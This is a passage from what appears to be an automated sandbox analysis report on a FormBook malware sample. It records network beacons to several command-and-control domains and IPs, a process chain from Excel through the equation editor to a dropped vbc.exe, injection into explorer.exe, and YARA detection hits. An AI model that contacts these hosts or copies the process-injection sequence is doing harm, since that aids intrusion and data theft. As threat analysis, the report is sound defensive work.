2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4b 58 37 34 69 78 70 7a 56 79 58 62 4a 70 72 63 4c 66 62 48 34 70 73 50 34 2b 4c 32 65 6e 74 71 72 69 30 6c 7a 68 36 70 6b 41 61 58 4c 50 49 63 63 6c 76 36 44 51 42 65 4a 4a 6a 47 46 57 72 42 49 46 36 51 4d 79 46 77 58 54 35 43 43 52 Data Ascii: ...top.location="http://www.athleteshive.com/?fp=FjU3U6I66l5%2FkTAZwi94VlwWms9nsw7CBNafYr15RAFiHFhOD6HIZQ%2B9c%2FrvVJPJjjkt1bBS%2BZuxyTr8vQGQ47rR3%2FtnWg%2BHxiVVUUDtfCObcvdZrfpCEPPYuW%2B7iEwbmvM0edwY%2FANupjXmz3mRWNllCTAK7bf0C5jylPLXufY%3D&prvtof=HWMEor%2FnonMOQK61fOgoDvqa0tLxhRKp5kLllAW8Qzw%3D&poru=T060hTd%2FTePbEvh8kmZMeZs16A8VDDJGTlAANjR7utLJYo4BWpcBDfp%2Fs7M6oR0KBMextVo7EAAaadOrigOfQgms%2F5TOIt1KZ0rb4J3XCDWAYyC1z3AZlUEFqKtBPoL6zMKBZ9znm5IqtP%2BAppupEzRAjA7BPdy60BU3vAiCEsa8wmF2m2QQBS%2FRbE0VOiTE&cifr=1&FH=Z6A4l46h&LBbXpL=kdwz49RbWZyfRfVFqlgC7QJtxuB%2FmeiNTkA5ikaSnjB%2F7w8EYdi6OSMNUeLU1PJtCjvO1w%3D%3D";/*--><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCR
Jan 27, 2021 07:31:22.034526110 CET	967	IN	Data Raw: 79 6a 53 32 70 65 6e 45 43 41 77 45 41 41 51 3d 3d 5f 6f 45 2f 65 2b 69 59 6c 36 54 73 47 7a 4a 45 6a 75 4c 2b 38 6a 6a 4a 45 48 7a 47 36 51 4a 4c 58 52 73 43 57 4d 6d 51 44 4a 49 54 46 67 62 63 53 4b 44 77 52 67 4e 59 4d 64 79 6b 5a 31 67 51 4d Data Ascii: yjS2penECAwEAAQ==_oE/e+iYl6TsGzJEjuL+8jjJEHzG6QJLXRsCWMmQDJITFgbcSKDwRgNYMdykZ1gQM22XWxBBgsAO38NW//2M1jQ=="><head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="viewport" content="width=device-wi
Jan 27, 2021 07:31:22.034557104 CET	967	IN	Data Raw: 74 66 43 4f 62 63 76 64 5a 72 66 70 43 45 50 50 59 75 57 25 32 42 37 69 45 77 62 6d 76 4d 30 65 64 77 59 25 32 46 41 4e 75 70 6a 58 6d 7a 33 6d 52 57 4e 6c 6c 43 54 41 4b 37 62 66 30 43 35 6a 79 6c 50 4c 58 75 66 59 25 33 44 26 70 72 76 74 6f 66 Data Ascii: tfCObcvdZrfpCEPPYuW%2B7iEwbmvM0edwY%2FANupjXmz3mRWNllCTAK7bf0C5jylPLXufY%3D&prvtof=uc4UYd8sMQCVUNWEpyrA4mkcdvSjb%2FyKRS24jt0yxHg%3D&poru=WxAYCvG0BU7zHat%2FD2vQWJRZNF%2BRRXgaa6iZq959W7b5mmPuhIi%2Fi1YNA8XzkmPJx4GHHGbOBUge67on3Mn40xAO2Ov3%2BFKohP
Jan 27, 2021 07:31:22.111012936 CET	968	IN	Data Raw: 74 66 43 4f 62 63 76 64 5a 72 66 70 43 45 50 50 59 75 57 25 32 42 37 69 45 77 62 6d 76 4d 30 65 64 77 59 25 32 46 41 4e 75 70 6a 58 6d 7a 33 6d 52 57 4e 6c 6c 43 54 41 4b 37 62 66 30 43 35 6a 79 6c 50 4c 58 75 66 59 25 33 44 26 70 72 76 74 6f 66 Data Ascii: tfCObcvdZrfpCEPPYuW%2B7iEwbmvM0edwY%2FANupjXmz3mRWNllCTAK7bf0C5jylPLXufY%3D&prvtof=uc4UYd8sMQCVUNWEpyrA4mkcdvSjb%2FyKRS24jt0yxHg%3D&poru=WxAYCvG0BU7zHat%2FD2vQWJRZNF%2BRRXgaa6iZq959W7b5mmPuhIi%2Fi1YNA8XzkmPJx4GHHGbOBUge67on3Mn40xAO2Ov3%2BFKohP

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49168	44.240.171.172	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 27, 2021 07:31:27.350853920 CET	969	OUT	GET /gqx2/?LBbXpL=NDTQX7mapLrAPB2lUlM56Hgg+STWZd9aU5/K481bOg5ERhcI1aoDeCBobL4shdqJetw+0A==&FH=Z6A4l46h HTTP/1.1 Host: www.calusaptamiami.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jan 27, 2021 07:31:27.580075026 CET	970	IN	HTTP/1.1 303 See Other Date: Wed, 27 Jan 2021 06:31:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: AWSALB=nQGs/EoNgsLnOIouuOh00fr4WX6FdOvp0KqfJo2eFlA9I2GPDs0bmkGFNLO1oqLj8ceMRw3z67+ixmeGk2Z8CuJ1aA5v5T2Gu+LfFlC+lnuFvQ3sTbTCBsBUajb3; Expires=Wed, 03 Feb 2021 06:31:27 GMT; Path=/ Set-Cookie: AWSALBCORS=nQGs/EoNgsLnOIouuOh00fr4WX6FdOvp0KqfJo2eFlA9I2GPDs0bmkGFNLO1oqLj8ceMRw3z67+ixmeGk2Z8CuJ1aA5v5T2Gu+LfFlC+lnuFvQ3sTbTCBsBUajb3; Expires=Wed, 03 Feb 2021 06:31:27 GMT; Path=/; SameSite=None Server: nginx/1.12.1 Set-Cookie: PHPSESSID=p80lihgr6cm5r6hs41r28t9bep; expires=Fri, 26-Feb-2021 06:31:27 GMT; Max-Age=2592000; path=/; samesite=Lax; domain=.membershiptoolkit.com; secure; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Set-Cookie: machine-id-membershiptoolkit=MTKbcadc2a1d45e59fb68175f1dd820eb1c-1611729087; expires=Tue, 19-Jan-2038 03:14:07 GMT; Max-Age=535754560; path=/; domain=.membershiptoolkit.com; secure; HttpOnly location: https://calusapta.membershiptoolkit.com/gqx2/?LBbXpL=NDTQX7mapLrAPB2lUlM56Hgg+STWZd9aU5/K481bOg5ERhcI1aoDeCBobL4shdqJetw+0A==&FH=Z6A4l46h Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.22	49169	192.185.35.76	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 27, 2021 07:31:32.963877916 CET	971	OUT	GET /gqx2/?FH=Z6A4l46h&LBbXpL=+3QoYFPEqRNlZMzGaFhuJ6Cz2rhEMAU1T5a3j4/+hda+nWQNJZmKanwic2T+mI2t6bc5xQ== HTTP/1.1 Host: www.shuhan.design Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jan 27, 2021 07:31:33.195858955 CET	972	IN	HTTP/1.1 404 Not Found Date: Wed, 27 Jan 2021 06:31:33 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Tue, 23 Apr 2019 06:05:22 GMT Accept-Ranges: bytes Content-Length: 746 Vary: Accept-Encoding Content-Type: text/html Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 35 30 30 70 78 29 20 7b 0a 20 20 20 20 20 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 2e 36 65 6d 3b 20 7d 20 0a 20 20 20 20 7d 0a 20 20 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 22 3e 0a 0a 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 47 65 6f 72 67 69 61 2c 20 73 65 72 69 66 3b 20 63 6f 6c 6f 72 3a 20 23 34 61 34 61 34 61 3b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 34 65 6d 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 35 3b 22 3e 0a 20 20 20 20 53 6f 72 72 79 2c 20 74 68 69 73 20 70 61 67 65 20 64 6f 65 73 6e 27 74 20 65 78 69 73 74 2e 3c 62 72 3e 50 6c 65 61 73 65 20 63 68 65 63 6b 20 74 68 65 20 55 52 4c 20 6f 72 20 67 6f 20 62 61 63 6b 20 61 20 70 61 67 65 2e 0a 20 20 3c 2f 68 31 3e 0a 20 20 0a 20 20 3c 68 32 20 73 74 79 6c 65 3d 22 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 63 6f 6c 6f 72 3a 20 23 37 64 37 64 37 64 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 22 3e 0a 20 20 20 20 34 30 34 20 45 72 72 6f 72 2e 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 2e 0a 20 20 3c 2f 68 32 3e 0a 20 20 0a 3c 2f 62 6f 64 79 3e 0a 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!doctype html><html lang="en"><head> <meta charset="utf-8"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <title>404 Error</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="robots" content="noindex, nofollow"> <style> @media screen and (max-width:500px) { body { font-size: .6em; } } </style></head><body style="text-align: center;"> <h1 style="font-family: Georgia, serif; color: #4a4a4a; margin-top: 4em; line-height: 1.5;"> Sorry, this page doesn't exist.<br>Please check the URL or go back a page. </h1> <h2 style=" font-family: Verdana, sans-serif; color: #7d7d7d; font-weight: 300;"> 404 Error. Page Not Found. </h2> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.22	49170	154.196.151.25	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 27, 2021 07:31:38.792879105 CET	973	OUT	GET /gqx2/?LBbXpL=3W3cVsor3bbPfna0qFofS9YXWKP/R6dcaODyRhEFOp9LvKZJ8f2uexAIjRYYCLBPm+vppg==&FH=Z6A4l46h HTTP/1.1 Host: www.rentfs.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jan 27, 2021 07:31:39.023871899 CET	973	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 27 Jan 2021 06:31:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Data Raw: 31 0d 0a 2e 0d 0a 30 0d 0a 0d 0a Data Ascii: 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.22	49171	166.62.29.42	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 27, 2021 07:31:44.337500095 CET	974	OUT	GET /gqx2/?FH=Z6A4l46h&LBbXpL=6nuUJCCL996uhukPA9n93qtc4x9+JW7PXVvZwiYzKnuHGI26xL3B8i1MOW2JBaaNxWuU1g== HTTP/1.1 Host: www.trijjadigital.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jan 27, 2021 07:31:45.751564980 CET	975	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 27 Jan 2021 06:31:44 GMT Server: Apache X-Powered-By: PHP/7.3.23 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Upgrade: h2,h2c Connection: Upgrade, close Location: http://trijjadigital.com/gqx2/?FH=Z6A4l46h&LBbXpL=6nuUJCCL996uhukPA9n93qtc4x9+JW7PXVvZwiYzKnuHGI26xL3B8i1MOW2JBaaNxWuU1g== Vary: User-Agent Content-Length: 0 Content-Type: text/html; charset=UTF-8

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 1476 Parent PID: 584

General

Start time:	07:29:52
Start date:	27/01/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13fe90000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: EQNEDT32.EXE PID: 1604 Parent PID: 584

General

Start time:	07:30:12
Start date:	27/01/2021
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Imagebase:	0x400000
File size:	543304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: vbc.exe PID: 2692 Parent PID: 1604

General

Start time:	07:30:15
Start date:	27/01/2021
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\Public\vbc.exe'
Imagebase:	0x100000
File size:	913408 bytes
MD5 hash:	2B72BC4BA9645AF5482661C5D1D1C7F8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000004.00000002.2165883965.0000000002301000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000004.00000002.2166013985.0000000003308000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000004.00000002.2166013985.0000000003308000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000004.00000002.2166013985.0000000003308000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Chronological Activities

Analysis Process: vbc.exe PID: 2792 Parent PID: 2692

General

Start time:	07:30:16
Start date:	27/01/2021
Path:	C:\Users\Public\vbc.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\vbc.exe
Imagebase:	0x100000
File size:	913408 bytes
MD5 hash:	2B72BC4BA9645AF5482661C5D1D1C7F8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.2218235916.00000000001F0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.2218235916.00000000001F0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.2218235916.00000000001F0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.2218311056.0000000000330000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.2218311056.0000000000330000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.2218311056.0000000000330000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000005.00000002.2218333156.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 1388 Parent PID: 2792

General

Start time:	07:30:19
Start date:	27/01/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0xffca0000
File size:	3229696 bytes
MD5 hash:	38AE1B3C38FAEF56FE4907922F0385BA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: help.exe PID: 2828 Parent PID: 1388

General

Start time:	07:30:38
Start date:	27/01/2021
Path:	C:\Windows\SysWOW64\help.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\help.exe
Imagebase:	0xed0000
File size:	8704 bytes
MD5 hash:	0F488C73AA50C2FC1361F19E8FC19926
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.2375584892.00000000003C0000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.2375584892.00000000003C0000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.2375584892.00000000003C0000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.2375310907.0000000000150000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.2375310907.0000000000150000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.2375310907.0000000000150000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000007.00000002.2375232552.0000000000080000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 2768 Parent PID: 2828

General

Start time:	07:30:42
Start date:	27/01/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del 'C:\Users\Public\vbc.exe'
Imagebase:	0x4a660000
File size:	302592 bytes
MD5 hash:	AD7B9C14083B52BC532FBA5948342B98
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: vbc.exe PID: 2692 Parent PID: 1604 vbc.exeCOMMON

Executed Functions

Function 00321BA0, Relevance: 3.9, Strings: 3, Instructions: 160COMMON

Download Yara Rule

Strings

`!Nm, xrefs: 00321D01
`!Nm, xrefs: 00321CF1
`!Nm, xrefs: 00321C76

Memory Dump Source

Source File: 00000004.00000002.2165658794.0000000000320000.00000040.00000001.sdmp, Offset: 00320000, based on PE: false

Similarity

API ID:
String ID: `!Nm$`!Nm$`!Nm
API String ID: 0-2514134103
Opcode ID: d4ffdb8fcb9cc9702b9bf4007d55a241e51bc0a1503c1d35d41337ab25f1946f
Instruction ID: 943df11c3b98a87e096dbc9128974f74cebd35a3b555c27bfa74b230d9a1f796
Opcode Fuzzy Hash: d4ffdb8fcb9cc9702b9bf4007d55a241e51bc0a1503c1d35d41337ab25f1946f
Instruction Fuzzy Hash: 68619E74E00218DFDB59DFA9D9849ADBBB2BF89300F14802AE909AB265DB319941CF51

Uniqueness

Uniqueness Score: -1.00%

Function 00322148, Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2165658794.0000000000320000.00000040.00000001.sdmp, Offset: 00320000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adea27c4a28df709a57bf1f1ef85007513159bdbcc5a690ae475bd5bb1f7e86b
Instruction ID: 085a899078ddc8b3d39443b2e484d611ab578f739e7c663489b1534efbf0c903
Opcode Fuzzy Hash: adea27c4a28df709a57bf1f1ef85007513159bdbcc5a690ae475bd5bb1f7e86b
Instruction Fuzzy Hash: 38813774E00229DFCB45CFE9D9806EEBBF6BF89315F649525D408AB309D7349942CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00321E90, Relevance: .2, Instructions: 202COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2165658794.0000000000320000.00000040.00000001.sdmp, Offset: 00320000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45fcc895de56629f4091d8270c9eba8715b9b57324bcfbbc9db0832dbaff6a3b
Instruction ID: d1a59f7666881c47e955efd7b911f819c7d3e05b93bb92771528fce792d201d6
Opcode Fuzzy Hash: 45fcc895de56629f4091d8270c9eba8715b9b57324bcfbbc9db0832dbaff6a3b
Instruction Fuzzy Hash: E9814670E002299BDF19CFA9D940AEEBBB6BF98314F60C569D518B7205EB305A41CF50

Uniqueness

Uniqueness Score: -1.00%

Function 0032AB58, Relevance: 1.8, APIs: 1, Instructions: 321processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0032AE1F

Memory Dump Source

Source File: 00000004.00000002.2165658794.0000000000320000.00000040.00000001.sdmp, Offset: 00320000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: a3e92720d9faa71bd82907b36ae7364a58df8d269d7a5b1d24b213b6642a8a84
Instruction ID: fe8c2938a96e5d9dc64cf23457c4ce707448ff61553d6f4008bb5d303cf8bb3d
Opcode Fuzzy Hash: a3e92720d9faa71bd82907b36ae7364a58df8d269d7a5b1d24b213b6642a8a84
Instruction Fuzzy Hash: E3C11570D0022D8FDB21CFA4D841BEEBBB1BF49304F1095AAE559B7240DB749A85CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0032A7D0, Relevance: 1.6, APIs: 1, Instructions: 116injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0032A8A3

Memory Dump Source

Source File: 00000004.00000002.2165658794.0000000000320000.00000040.00000001.sdmp, Offset: 00320000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: b72e98f3055a50fe34f03a59e347663c8c103aea54547af6c96b0116bf08c133
Instruction ID: 1832c1ad07387192e1f189d6345bf8e49927848e53e3c23f2c7da0ab53743406
Opcode Fuzzy Hash: b72e98f3055a50fe34f03a59e347663c8c103aea54547af6c96b0116bf08c133
Instruction Fuzzy Hash: AF4199B4D012589FCF00CFA9D884AEEFBF1BB49314F24942AE818B7210D774AA45CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0032A928, Relevance: 1.6, APIs: 1, Instructions: 106COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 0032A9DA

Memory Dump Source

Source File: 00000004.00000002.2165658794.0000000000320000.00000040.00000001.sdmp, Offset: 00320000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: d27fe41b394861cb8231746bfe8adefd47be774b8b415ebf4bc544c900645cf1
Instruction ID: ad73d4ef2526b6ffffd5862e7152b3d5f44b9f7dc775918c3a41770751a783bd
Opcode Fuzzy Hash: d27fe41b394861cb8231746bfe8adefd47be774b8b415ebf4bc544c900645cf1
Instruction Fuzzy Hash: 5641A9B5D042589FCF10CFAAE884AEEFBB5BF09310F10942AE814B7200D775A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0032A6B0, Relevance: 1.6, APIs: 1, Instructions: 101memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 0032A75A

Memory Dump Source

Source File: 00000004.00000002.2165658794.0000000000320000.00000040.00000001.sdmp, Offset: 00320000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4ef8c1efbb90edad7bbc4b90f09325f7108b9af79ec39980a184bc2b0572507a
Instruction ID: c931f7b242cd6409425d9415a5b4a261006bb6a26af27bdb236a3fe54bec5984
Opcode Fuzzy Hash: 4ef8c1efbb90edad7bbc4b90f09325f7108b9af79ec39980a184bc2b0572507a
Instruction Fuzzy Hash: BF3188B8D042589FCF10CFE9E884ADEFBB5BB49310F10942AE815B7210D775A945CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0032A588, Relevance: 1.6, APIs: 1, Instructions: 94threadCOMMON

Download Yara Rule

APIs

Wow64SetThreadContext.KERNEL32(?,?), ref: 0032A637

Memory Dump Source

Source File: 00000004.00000002.2165658794.0000000000320000.00000040.00000001.sdmp, Offset: 00320000, based on PE: false

Similarity

API ID: ContextThreadWow64
String ID:
API String ID: 983334009-0
Opcode ID: f4c366b76bd4cdb8f6157421e20ceb6a78a3a6547220e6fb2700e1f20f4f355c
Instruction ID: ed895423ef2e7e17f4396c4f0e40f21c2a01633a0fb8e5d08caa1b3295a13ebd
Opcode Fuzzy Hash: f4c366b76bd4cdb8f6157421e20ceb6a78a3a6547220e6fb2700e1f20f4f355c
Instruction Fuzzy Hash: 0431BCB4D012589FCB10CFA9E884AEEFBF5BF49314F24842AE414B7240D778A985CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0032A498, Relevance: 1.6, APIs: 1, Instructions: 73threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNELBASE(?), ref: 0032A516

Memory Dump Source

Source File: 00000004.00000002.2165658794.0000000000320000.00000040.00000001.sdmp, Offset: 00320000, based on PE: false

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: c8ffa50fa8c7ccde364905aff7ba008ba50fc9cd255a59f9e7abffc04db2d69a
Instruction ID: c1ac1b902c09664e824afea395356b3e65677b7428bbab16ed5fedcad02f012b
Opcode Fuzzy Hash: c8ffa50fa8c7ccde364905aff7ba008ba50fc9cd255a59f9e7abffc04db2d69a
Instruction Fuzzy Hash: F931ACB4D012189FCB14CFA9E884AEEFBB4EF49314F24982AE815B7300D775A941CF95

Uniqueness

Uniqueness Score: -1.00%

Function 0023D01C, Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2165625735.000000000023D000.00000040.00000001.sdmp, Offset: 0023D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a618cc979375291128b8568e9d35e27142402008e269a4bc598c41af2807ee4
Instruction ID: 254b9ebc86b266b1747a29075120236e4ba60ece02e58d4ede736743c15c50aa
Opcode Fuzzy Hash: 2a618cc979375291128b8568e9d35e27142402008e269a4bc598c41af2807ee4
Instruction Fuzzy Hash: 9A21F5B5614244DFCB18CF60E4C4B16BBA5FB84B14F20C969D8094B246C376D857CB61

Uniqueness

Uniqueness Score: -1.00%

Function 0023D006, Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2165625735.000000000023D000.00000040.00000001.sdmp, Offset: 0023D000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e600c2f693008bce9e0da1fd82102e3df38b4271a9b0ac19fee4300c96508dc
Instruction ID: a68f2ddfdc2e057041890e621d970a861bb200033c000a03a019dd4fd4073f0a
